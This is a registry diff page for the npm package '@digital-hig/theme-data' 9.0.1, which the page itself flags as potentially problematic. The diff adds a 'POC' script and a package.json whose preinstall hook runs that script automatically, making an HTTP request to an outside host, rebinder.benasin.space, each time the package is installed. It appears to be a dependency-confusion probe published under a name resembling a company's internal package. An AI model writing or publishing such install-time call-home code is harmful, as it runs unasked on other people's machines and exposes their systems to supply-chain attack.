@digital-hig/theme-data 9.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @digital-hig/theme-data might be problematic. Click here for more details.
- package/index.js +23 -0
- package/package.json +12 -0
package/index.js
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
// POC By Benasin
|
|
2
|
+
//
|
|
3
|
+
const http = require('http');
|
|
4
|
+
|
|
5
|
+
// The URL you want to make a request to
|
|
6
|
+
const url = 'http://rebinder.benasin.space:8000/?installation';
|
|
7
|
+
|
|
8
|
+
// Making an HTTP GET request
|
|
9
|
+
http.get(url, (response) => {
|
|
10
|
+
let data = '';
|
|
11
|
+
|
|
12
|
+
// Collecting data chunks from the response
|
|
13
|
+
response.on('data', (chunk) => {
|
|
14
|
+
data += chunk;
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
// Handling the end of the response
|
|
18
|
+
response.on('end', () => {
|
|
19
|
+
console.log(data); // Display the complete response data
|
|
20
|
+
});
|
|
21
|
+
}).on('error', (error) => {
|
|
22
|
+
console.error('Error:', error.message); // Handle errors
|
|
23
|
+
});
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@digital-hig/theme-data",
|
|
3
|
+
"version": "9.0.1",
|
|
4
|
+
"description": "POC",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
10
|
+
"author": "Benasin",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|